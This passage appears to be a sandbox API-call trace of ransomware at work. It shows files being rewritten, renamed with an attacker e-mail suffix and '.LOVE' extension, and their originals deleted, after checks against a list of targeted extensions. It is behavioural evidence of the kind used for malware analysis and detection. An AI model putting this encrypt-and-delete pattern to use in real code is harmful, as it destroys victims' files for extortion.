ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.819] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.819] SetEndOfFile (hFile=0x374) returned 1 [0208.819] CloseHandle (hObject=0x374) returned 1 [0208.819] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.820] SetEndOfFile (hFile=0x2d8) returned 1 [0208.820] CloseHandle (hObject=0x2d8) returned 1 [0208.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0208.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0208.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0208.821] lstrlenW (lpString=".doc") returned 4 [0208.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.821] lstrlenW (lpString=".docx") returned 5 [0208.821] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.821] lstrlenW (lpString=".pdf") returned 4 [0208.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.821] lstrlenW (lpString=".xls") returned 4 [0208.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.822] lstrlenW (lpString=".xlsx") returned 5 [0208.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.822] lstrlenW (lpString=".ppt") returned 4 [0208.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0208.822] lstrlenW (lpString=".zip") returned 4 [0208.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.822] lstrlenW (lpString=".rar") returned 4 [0208.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.822] lstrlenW (lpString=".bz2") returned 4 [0208.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.822] lstrlenW (lpString=".7z") returned 3 [0208.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0208.822] lstrlenW (lpString=".dbf") returned 4 [0208.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0208.822] lstrlenW (lpString=".1cd") returned 4 [0208.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0208.822] lstrlenW (lpString=".jpg") returned 4 [0208.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.823] GetLastError () returned 0x0 [0208.823] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x4c14, lpOverlapped=0x0) returned 1 [0208.878] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x4c20, lpOverlapped=0x0) returned 1 [0208.879] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.879] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.879] SetEndOfFile (hFile=0x374) returned 1 [0208.880] CloseHandle (hObject=0x374) returned 1 [0208.880] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.880] SetEndOfFile (hFile=0x2d8) returned 1 [0208.881] CloseHandle (hObject=0x2d8) returned 1 [0208.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0208.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0208.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0208.886] lstrlenW (lpString=".doc") returned 4 [0208.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.886] lstrlenW (lpString=".docx") returned 5 [0208.886] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.886] lstrlenW (lpString=".pdf") returned 4 [0208.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.886] lstrlenW (lpString=".xls") returned 4 [0208.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.886] lstrlenW (lpString=".xlsx") returned 5 [0208.886] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.886] lstrlenW (lpString=".ppt") returned 4 [0208.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0208.887] lstrlenW (lpString=".zip") returned 4 [0208.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.887] lstrlenW (lpString=".rar") returned 4 [0208.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.887] lstrlenW (lpString=".bz2") returned 4 [0208.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.887] lstrlenW (lpString=".7z") returned 3 [0208.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0208.887] lstrlenW (lpString=".dbf") returned 4 [0208.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0208.887] lstrlenW (lpString=".1cd") returned 4 [0208.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0208.887] lstrlenW (lpString=".jpg") returned 4 [0208.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.892] GetLastError () returned 0x0 [0208.892] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x714c, lpOverlapped=0x0) returned 1 [0208.904] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x7150, lpOverlapped=0x0) returned 1 [0208.905] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.906] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.906] SetEndOfFile (hFile=0x388) returned 1 [0208.906] CloseHandle (hObject=0x388) returned 1 [0208.906] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.906] SetEndOfFile (hFile=0x2cc) returned 1 [0208.907] CloseHandle (hObject=0x2cc) returned 1 [0208.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0208.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0208.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0208.908] lstrlenW (lpString=".doc") returned 4 [0208.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.908] lstrlenW (lpString=".docx") returned 5 [0208.908] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0208.908] lstrlenW (lpString=".pdf") returned 4 [0208.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.908] lstrlenW (lpString=".xls") returned 4 [0208.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.908] lstrlenW (lpString=".xlsx") returned 5 [0208.908] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0208.908] lstrlenW (lpString=".ppt") returned 4 [0208.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0208.908] lstrlenW (lpString=".zip") returned 4 [0208.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.909] lstrlenW (lpString=".rar") returned 4 [0208.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.909] lstrlenW (lpString=".bz2") returned 4 [0208.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.909] lstrlenW (lpString=".7z") returned 3 [0208.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0208.909] lstrlenW (lpString=".dbf") returned 4 [0208.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0208.909] lstrlenW (lpString=".1cd") returned 4 [0208.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0208.909] lstrlenW (lpString=".jpg") returned 4 [0208.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.910] GetLastError () returned 0x0 [0208.910] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x5a4, lpOverlapped=0x0) returned 1 [0208.917] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x5b0, lpOverlapped=0x0) returned 1 [0208.917] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.917] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.918] SetEndOfFile (hFile=0x388) returned 1 [0208.918] CloseHandle (hObject=0x388) returned 1 [0208.918] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.918] SetEndOfFile (hFile=0x2cc) returned 1 [0208.919] CloseHandle (hObject=0x2cc) returned 1 [0208.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0208.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0208.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0208.920] lstrlenW (lpString=".doc") returned 4 [0208.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.920] lstrlenW (lpString=".docx") returned 5 [0208.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.920] lstrlenW (lpString=".pdf") returned 4 [0208.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.920] lstrlenW (lpString=".xls") returned 4 [0208.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.920] lstrlenW (lpString=".xlsx") returned 5 [0208.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.920] lstrlenW (lpString=".ppt") returned 4 [0208.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0208.920] lstrlenW (lpString=".zip") returned 4 [0208.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.920] lstrlenW (lpString=".rar") returned 4 [0208.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.920] lstrlenW (lpString=".bz2") returned 4 [0208.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.920] lstrlenW (lpString=".7z") returned 3 [0208.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0208.921] lstrlenW (lpString=".dbf") returned 4 [0208.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0208.921] lstrlenW (lpString=".1cd") returned 4 [0208.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0208.921] lstrlenW (lpString=".jpg") returned 4 [0208.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.921] GetLastError () returned 0x0 [0208.921] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x94a, lpOverlapped=0x0) returned 1 [0208.928] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x950, lpOverlapped=0x0) returned 1 [0208.929] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.929] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0208.929] SetEndOfFile (hFile=0x388) returned 1 [0208.929] CloseHandle (hObject=0x388) returned 1 [0208.929] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.930] SetEndOfFile (hFile=0x2cc) returned 1 [0208.930] CloseHandle (hObject=0x2cc) returned 1 [0208.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0208.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0208.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0208.931] lstrlenW (lpString=".doc") returned 4 [0208.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.931] lstrlenW (lpString=".docx") returned 5 [0208.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.931] lstrlenW (lpString=".pdf") returned 4 [0208.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.931] lstrlenW (lpString=".xls") returned 4 [0208.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.931] lstrlenW (lpString=".xlsx") returned 5 [0208.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.931] lstrlenW (lpString=".ppt") returned 4 [0208.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0208.931] lstrlenW (lpString=".zip") returned 4 [0208.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.931] lstrlenW (lpString=".rar") returned 4 [0208.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.931] lstrlenW (lpString=".bz2") returned 4 [0208.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.931] lstrlenW (lpString=".7z") returned 3 [0208.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0208.931] lstrlenW (lpString=".dbf") returned 4 [0208.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0208.932] lstrlenW (lpString=".1cd") returned 4 [0208.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0208.932] lstrlenW (lpString=".jpg") returned 4 [0208.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.933] GetLastError () returned 0x0 [0208.933] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x876, lpOverlapped=0x0) returned 1 [0209.117] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x880, lpOverlapped=0x0) returned 1 [0209.315] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.315] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0209.315] SetEndOfFile (hFile=0x388) returned 1 [0209.315] CloseHandle (hObject=0x388) returned 1 [0209.315] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.315] SetEndOfFile (hFile=0x2cc) returned 1 [0209.316] CloseHandle (hObject=0x2cc) returned 1 [0209.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0209.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0209.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0209.316] lstrlenW (lpString=".doc") returned 4 [0209.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.316] lstrlenW (lpString=".docx") returned 5 [0209.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.316] lstrlenW (lpString=".pdf") returned 4 [0209.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.316] lstrlenW (lpString=".xls") returned 4 [0209.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.317] lstrlenW (lpString=".xlsx") returned 5 [0209.317] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.317] lstrlenW (lpString=".ppt") returned 4 [0209.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0209.317] lstrlenW (lpString=".zip") returned 4 [0209.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.317] lstrlenW (lpString=".rar") returned 4 [0209.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.317] lstrlenW (lpString=".bz2") returned 4 [0209.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.317] lstrlenW (lpString=".7z") returned 3 [0209.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0209.317] lstrlenW (lpString=".dbf") returned 4 [0209.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0209.317] lstrlenW (lpString=".1cd") returned 4 [0209.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0209.317] lstrlenW (lpString=".jpg") returned 4 [0209.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.318] GetLastError () returned 0x0 [0209.318] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x9b8, lpOverlapped=0x0) returned 1 [0209.326] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x9c0, lpOverlapped=0x0) returned 1 [0209.326] ReadFile (in: hFile=0x2cc, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.326] WriteFile (in: hFile=0x388, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0209.326] SetEndOfFile (hFile=0x388) returned 1 [0209.326] CloseHandle (hObject=0x388) returned 1 [0209.327] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.327] SetEndOfFile (hFile=0x2cc) returned 1 [0209.340] CloseHandle (hObject=0x2cc) returned 1 [0209.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0209.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0209.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68 [0209.341] lstrlenW (lpString=".doc") returned 4 [0209.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.341] lstrlenW (lpString=".docx") returned 5 [0209.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned 